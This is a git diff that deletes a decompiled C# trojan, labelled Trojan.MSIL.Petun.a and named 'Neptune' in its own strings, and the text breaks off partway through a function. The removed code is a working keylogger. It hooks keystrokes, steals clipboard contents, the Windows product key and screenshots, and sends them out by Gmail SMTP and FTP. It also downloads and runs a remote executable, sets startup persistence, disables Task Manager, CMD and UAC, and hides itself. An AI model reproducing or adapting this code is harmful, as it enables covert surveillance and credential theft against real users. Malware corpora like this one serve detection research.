a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Module1.cs deleted file mode 100644 index 9d113c33..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: RSBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F411A9E0-B2F1-4246-B0C3-0F077BF58BE4 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool FwWydbKx = false; - private static bool aCKWySxW = false; - private static bool PZfbnEFa = false; - private static bool XfVBvwuz = false; - private static bool rdtwz = false; - private static bool qmavl = false; - private static string PDpQm = "20"; - private static string FJiXU = "AaD"; - private static int ZxEzMPd = 1; - private static string VoIDrXg = "JOyG"; - public static string TTimphG = "CurrentUser"; - private static string lzKKXKw = "NdEETJ"; - private static string lLlwqJG = "mDrMDtHRzz"; - private static string fBoxVQ = "iexplorer.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = false; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = false; - private static bool NoEL = false; - private static bool SSTime = false; - private static string SSInt = "10"; - private static bool LqzzyD = false; - private static string XadVtJCl = "http://www.exampleserver.com/directfile.exe"; - private static bool XwwXgsVo = false; - private static string oLuFLHTk = "setup.exe"; - private static bool hjbBdIsnc = true; - private static bool wanmDHJB = false; - private static string GKYiE = "LHs1gVoZGRA="; - private static string DTiEr = "ftp.exampleserver.com"; - private static string wvXFW = "LHs1gVoZGRA="; - private static string ztMJf = "/"; - private static string SoBPwOzEe = "smtp.gmail.com"; - private static string alpEZb = "Dth91HjvEkpFuJ+ao/RG+FZ5EQzU5yBK"; - private static string DWpkZF = "Okxj6CTgj1+fgC1kLWtpJA=="; - private static string zHkxwN = "cracoviasog@gmail.com"; - private static string MwegBd = "587"; - private static string JuWsrT = "----[ "; - private static string qCvOLi = " ]----"; - private static bool McrNB; - private static bool LrMRZ; - private static bool GLhov = true; - private static bool ILCbq = true; - private static bool RtxMI = true; - private static bool NWiKeJh = true; - private const int MTaqRRg = 257; - private const short ygVpgXk = 256; - private const int jvXrWu = 260; - private const int vsPyKQ = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string hFoyFBN; - - public static string XEKdlbH - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string dEETJME - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string ZQeoXXKKl - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string kewtRBLRN - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string wdjDLzfbb - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.rQiIitnG lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int XZisnQg(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string BPZI() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object XlTk() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void TJzOYHHt() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.WvYD); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void OgdB() - { - try - { - if (!Conversions.ToBoolean(Module1.XlTk()) || Module1.XZisnQg((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string kelP( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int WvYD(int Code, int wParam, ref Module1.rQiIitnG lParam) - { - int num; - try - { - object obj = (object) Module1.BPZI(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.hFoyFBN = Conversions.ToString(Operators.ConcatenateObject((object) Module1.hFoyFBN, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.JuWsrT), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.qCvOLi), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.hFoyFBN.EndsWith(Module1.qCvOLi + "\r\n") | !Module1.ILCbq | Module1.hFoyFBN.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.hFoyFBN = Module1.hFoyFBN.Remove(checked (Module1.hFoyFBN.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.GLhov) - { - Module1.LrMRZ = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.McrNB) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.McrNB | Module1.LrMRZ) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.McrNB ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.McrNB ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.GLhov) - { - Left = " [McrNB] "; - break; - } - Module1.McrNB = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.McrNB) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.McrNB) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.GLhov) - Left = "[/McrNB]"; - Module1.McrNB = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.hFoyFBN += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.yGNrEE(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.tmWEHbE(Conversions.ToInteger(Module1.Delay)); - string fjiXu = Module1.FJiXU; - Module1.FJiXU = Operators.CompareString(fjiXu, "AaD", false) != 0 ? (Operators.CompareString(fjiXu, "FaF", false) != 0 ? (Operators.CompareString(fjiXu, "MaD", false) != 0 ? (Operators.CompareString(fjiXu, "SaF", false) != 0 ? (Operators.CompareString(fjiXu, "WaF", false) != 0 ? Module1.FJiXU : Module1.wdjDLzfbb) : Module1.kewtRBLRN) : Module1.ZQeoXXKKl) : Module1.dEETJME) : Module1.XEKdlbH; - Module1.alpEZb = Module1.TripleDESDecode(Module1.alpEZb, "System.Net"); - Module1.DWpkZF = Module1.TripleDESDecode(Module1.DWpkZF, "System.Net"); - Module1.GKYiE = Module1.TripleDESDecode(Module1.GKYiE, "System.Net"); - Module1.wvXFW = Module1.TripleDESDecode(Module1.wvXFW, "System.Net"); - Module1.fBoxVQ = "\\" + Module1.fBoxVQ; - if (Operators.CompareString(Application.StartupPath, Module1.FJiXU, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.FJiXU + Module1.fBoxVQ)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.hjbBdIsnc) - { - ref string local1 = ref Module1.SoBPwOzEe; - ref string local2 = ref Module1.alpEZb; - ref string local3 = ref Module1.DWpkZF; - ref string local4 = ref Module1.zHkxwN; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.MwegBd); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.MwegBd = Conversions.ToString(integer); - } - if (Module1.wanmDHJB) - { - ref string local9 = ref Module1.DTiEr; - ref string local10 = ref Module1.ztMJf; - ref string local11 = ref Module1.GKYiE; - ref string local12 = ref Module1.wvXFW; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.LqzzyD) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.oLuFLHTk)) - System.IO.File.Delete(Path.GetTempPath() + Module1.oLuFLHTk); - MyProject.Computer.Network.DownloadFile(Module1.XadVtJCl, Path.GetTempPath() + Module1.oLuFLHTk); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.oLuFLHTk)) - { - if (Module1.XwwXgsVo) - Process.Start(Path.GetTempPath() + Module1.oLuFLHTk, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.oLuFLHTk); - } - } - if (Module1.FwWydbKx) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.ZxEzMPd == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.PZfbnEFa) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.XfVBvwuz) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.rdtwz) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.qmavl) - Interaction.Shell("C:\\Windows\\System32\\rdtwz.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.aCKWySxW) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.FJiXU + Module1.fBoxVQ); - Process.Start(Module1.FJiXU + Module1.fBoxVQ); - if (Operators.CompareString(Module1.lzKKXKw, "Melt", false) == 0) - Module1.yGNrEE(); - else if (Operators.CompareString(Module1.lzKKXKw, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new clJqUjQW(Module1.lLlwqJG).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.TTimphG, "CurrentUser", false) == 0 | Operators.CompareString(Module1.TTimphG, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.VoIDrXg.Length != 4) - { - string[] strArray = Strings.Split(Module1.VoIDrXg, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.TJzOYHHt(); - switch (Module1.ZxEzMPd) - { - case 3: - new Thread(new ThreadStart(Module1.CEkFKS)).Start(); - break; - case 4: - hfkVOWz.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.hFoyFBN, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.RtxMI) - str = str + "System Information - \r\n" + Module1.YtsVDUG() + "\r\n"; - if (Module1.NWiKeJh) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.hFoyFBN = str + Module1.hFoyFBN; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.MYMKEWTp)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.hjbBdIsnc) - { - ref string local1 = ref Module1.SoBPwOzEe; - ref string local2 = ref Module1.alpEZb; - ref string local3 = ref Module1.DWpkZF; - ref string local4 = ref Module1.zHkxwN; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.MwegBd); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.MwegBd = Conversions.ToString(integer); - } - } - while (!Module1.wanmDHJB); - Module1.UpFTPImg(ref Module1.DTiEr, ref Module1.ztMJf, ref Module1.GKYiE, ref Module1.wvXFW); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void MYMKEWTp() - { - string hFoyFbn = Module1.hFoyFBN; - Module1.hFoyFBN = ""; - if (Module1.hjbBdIsnc) - { - ref string local1 = ref Module1.SoBPwOzEe; - ref string local2 = ref Module1.alpEZb; - ref string local3 = ref Module1.DWpkZF; - ref string local4 = ref Module1.zHkxwN; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref hFoyFbn; - int integer = Conversions.ToInteger(Module1.MwegBd); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.MwegBd = Conversions.ToString(integer); - } - if (!Module1.wanmDHJB) - return; - Module1.UpFTP(ref Module1.DTiEr, ref Module1.ztMJf, ref Module1.GKYiE, ref Module1.wvXFW, ref hFoyFbn); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.PDpQm) * 60.0 * 1000.0)))); - - private static void tmWEHbE(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string IdCuqCT(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string YtsVDUG() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.IdCuqCT((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.IdCuqCT((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void CEkFKS() - { -label_0: - Module1.tmWEHbE(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.tmWEHbE(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void yGNrEE() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string SoBPwOzEe, - ref string Dir, - ref string alpEZb, - ref string DWpkZF, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + SoBPwOzEe + Dir + str2, alpEZb, DWpkZF); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + SoBPwOzEe + Dir + str2 + ".gif", alpEZb, DWpkZF); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - 